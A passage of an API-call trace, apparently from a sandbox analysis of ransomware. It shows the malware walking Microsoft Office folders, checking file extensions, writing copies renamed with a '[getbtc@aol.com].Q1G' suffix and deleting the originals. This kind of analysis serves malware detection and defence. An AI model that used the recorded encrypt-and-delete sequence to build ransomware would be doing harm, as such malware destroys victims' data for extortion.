returned 58 [0261.405] lstrlenW (lpString=".dbf") returned 4 [0261.405] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.405] lstrlenW (lpString=".1cd") returned 4 [0261.405] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0261.405] lstrlenW (lpString=".jpg") returned 4 [0261.405] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0261.405] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.405] lstrlenW (lpString="EXSEC32.DLL") returned 11 [0261.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.406] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=474960) returned 1 [0261.406] CloseHandle (hObject=0x37c) returned 1 [0261.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll")) returned 0x20 [0261.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.406] lstrlenW (lpString=".doc") returned 4 [0261.406] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.406] lstrlenW (lpString=".docx") returned 5 [0261.406] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0261.406] lstrlenW (lpString=".pdf") returned 4 [0261.406] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.406] lstrlenW (lpString=".xls") returned 4 [0261.406] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.406] lstrlenW (lpString=".xlsx") returned 5 [0261.406] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0261.406] lstrlenW (lpString=".ppt") returned 4 [0261.406] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.406] lstrlenW (lpString=".zip") returned 4 [0261.406] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.406] lstrlenW (lpString=".rar") returned 4 [0261.406] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.406] lstrlenW (lpString=".bz2") returned 4 [0261.407] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.407] lstrlenW (lpString=".7z") returned 3 [0261.407] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.407] lstrlenW (lpString=".dbf") returned 4 [0261.407] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.407] lstrlenW (lpString=".1cd") returned 4 [0261.407] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.407] lstrlenW (lpString=".jpg") returned 4 [0261.407] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.407] lstrlenW (lpString=".doc") returned 4 [0261.407] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.407] lstrlenW (lpString=".docx") returned 5 [0261.407] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0261.407] lstrlenW (lpString=".pdf") returned 4 [0261.407] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.407] lstrlenW (lpString=".xls") returned 4 [0261.407] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.407] lstrlenW (lpString=".xlsx") returned 5 [0261.407] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0261.407] lstrlenW (lpString=".ppt") returned 4 [0261.407] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.407] lstrlenW (lpString=".zip") returned 4 [0261.407] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.407] lstrlenW (lpString=".rar") returned 4 [0261.407] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.407] lstrlenW (lpString=".bz2") returned 4 [0261.407] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.407] lstrlenW (lpString=".7z") returned 3 [0261.407] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.408] lstrlenW (lpString=".dbf") returned 4 [0261.408] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.408] lstrlenW (lpString=".1cd") returned 4 [0261.408] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0261.408] lstrlenW (lpString=".jpg") returned 4 [0261.408] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.408] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.408] lstrlenW (lpString="EXTRACT.DLL") returned 11 [0261.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.409] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=340904) returned 1 [0261.409] CloseHandle (hObject=0x37c) returned 1 [0261.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll")) returned 0x20 [0261.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.409] lstrlenW (lpString=".doc") returned 4 [0261.409] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.409] lstrlenW (lpString=".docx") returned 5 [0261.409] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0261.409] lstrlenW (lpString=".pdf") returned 4 [0261.410] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString=".xls") returned 4 [0261.410] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString=".xlsx") returned 5 [0261.410] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0261.410] lstrlenW (lpString=".ppt") returned 4 [0261.410] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.410] lstrlenW (lpString=".zip") returned 4 [0261.410] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString=".rar") returned 4 [0261.410] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString=".bz2") returned 4 [0261.410] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.410] lstrlenW (lpString=".7z") returned 3 [0261.410] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.410] lstrlenW (lpString=".dbf") returned 4 [0261.410] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.410] lstrlenW (lpString=".1cd") returned 4 [0261.410] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.410] lstrlenW (lpString=".jpg") returned 4 [0261.410] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.410] lstrlenW (lpString=".doc") returned 4 [0261.410] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString=".docx") returned 5 [0261.410] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0261.410] lstrlenW (lpString=".pdf") returned 4 [0261.410] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString=".xls") returned 4 [0261.410] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.410] lstrlenW (lpString=".xlsx") returned 5 [0261.411] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0261.411] lstrlenW (lpString=".ppt") returned 4 [0261.411] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.411] lstrlenW (lpString=".zip") returned 4 [0261.411] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.411] lstrlenW (lpString=".rar") returned 4 [0261.411] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.411] lstrlenW (lpString=".bz2") returned 4 [0261.411] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.411] lstrlenW (lpString=".7z") returned 3 [0261.411] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.411] lstrlenW (lpString=".dbf") returned 4 [0261.411] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.411] lstrlenW (lpString=".1cd") returned 4 [0261.411] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0261.411] lstrlenW (lpString=".jpg") returned 4 [0261.411] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.411] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.411] lstrlenW (lpString="FACILITY.DLL") returned 12 [0261.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.500] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1621864) returned 1 [0261.500] CloseHandle (hObject=0x1f8) returned 1 [0261.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll")) returned 0x20 [0261.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0261.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.548] lstrlenW (lpString=".doc") returned 4 [0261.548] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.548] lstrlenW (lpString=".docx") returned 5 [0261.548] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0261.548] lstrlenW (lpString=".pdf") returned 4 [0261.548] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.548] lstrlenW (lpString=".xls") returned 4 [0261.548] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.548] lstrlenW (lpString=".xlsx") returned 5 [0261.548] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0261.548] lstrlenW (lpString=".ppt") returned 4 [0261.548] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.548] lstrlenW (lpString=".zip") returned 4 [0261.548] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.548] lstrlenW (lpString=".rar") returned 4 [0261.548] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.548] lstrlenW (lpString=".bz2") returned 4 [0261.548] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.548] lstrlenW (lpString=".7z") returned 3 [0261.548] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.549] lstrlenW (lpString=".dbf") returned 4 [0261.549] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.549] lstrlenW (lpString=".1cd") returned 4 [0261.549] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.549] lstrlenW (lpString=".jpg") returned 4 [0261.549] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.549] lstrlenW (lpString=".doc") returned 4 [0261.549] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.549] lstrlenW (lpString=".docx") returned 5 [0261.549] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0261.549] lstrlenW (lpString=".pdf") returned 4 [0261.549] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.549] lstrlenW (lpString=".xls") returned 4 [0261.549] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.549] lstrlenW (lpString=".xlsx") returned 5 [0261.549] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0261.549] lstrlenW (lpString=".ppt") returned 4 [0261.549] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.549] lstrlenW (lpString=".zip") returned 4 [0261.549] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.549] lstrlenW (lpString=".rar") returned 4 [0261.549] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.549] lstrlenW (lpString=".bz2") returned 4 [0261.549] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.549] lstrlenW (lpString=".7z") returned 3 [0261.549] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.549] lstrlenW (lpString=".dbf") returned 4 [0261.549] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.550] lstrlenW (lpString=".1cd") returned 4 [0261.550] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0261.550] lstrlenW (lpString=".jpg") returned 4 [0261.550] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.550] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.550] lstrlenW (lpString="APPTS.ICO") returned 9 [0261.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.570] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0261.570] CloseHandle (hObject=0x37c) returned 1 [0261.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 0x20 [0261.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.578] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.578] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.578] GetLastError () returned 0x0 [0261.578] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0261.580] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0261.581] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.581] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0261.581] SetEndOfFile (hFile=0x3d8) returned 1 [0261.581] CloseHandle (hObject=0x3d8) returned 1 [0261.581] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.581] SetEndOfFile (hFile=0x1bc) returned 1 [0261.583] CloseHandle (hObject=0x1bc) returned 1 [0261.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 1 [0261.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.584] lstrlenW (lpString=".doc") returned 4 [0261.584] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.584] lstrlenW (lpString=".docx") returned 5 [0261.584] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.584] lstrlenW (lpString=".pdf") returned 4 [0261.584] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.584] lstrlenW (lpString=".xls") returned 4 [0261.584] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.584] lstrlenW (lpString=".xlsx") returned 5 [0261.584] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.584] lstrlenW (lpString=".ppt") returned 4 [0261.584] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.584] lstrlenW (lpString=".zip") returned 4 [0261.584] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.584] lstrlenW (lpString=".rar") returned 4 [0261.584] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.584] lstrlenW (lpString=".bz2") returned 4 [0261.584] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.585] lstrlenW (lpString=".7z") returned 3 [0261.585] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.585] lstrlenW (lpString=".dbf") returned 4 [0261.585] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.585] lstrlenW (lpString=".1cd") returned 4 [0261.585] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.585] lstrlenW (lpString=".jpg") returned 4 [0261.585] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.585] lstrlenW (lpString=".doc") returned 4 [0261.585] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.585] lstrlenW (lpString=".docx") returned 5 [0261.585] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.585] lstrlenW (lpString=".pdf") returned 4 [0261.585] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.585] lstrlenW (lpString=".xls") returned 4 [0261.585] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.585] lstrlenW (lpString=".xlsx") returned 5 [0261.585] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.585] lstrlenW (lpString=".ppt") returned 4 [0261.585] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.585] lstrlenW (lpString=".zip") returned 4 [0261.585] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.585] lstrlenW (lpString=".rar") returned 4 [0261.585] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.585] lstrlenW (lpString=".bz2") returned 4 [0261.585] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.585] lstrlenW (lpString=".7z") returned 3 [0261.585] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.585] lstrlenW (lpString=".dbf") returned 4 [0261.586] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.586] lstrlenW (lpString=".1cd") returned 4 [0261.586] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0261.586] lstrlenW (lpString=".jpg") returned 4 [0261.586] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.586] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.586] lstrlenW (lpString="CNFNOT.CFG") returned 10 [0261.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 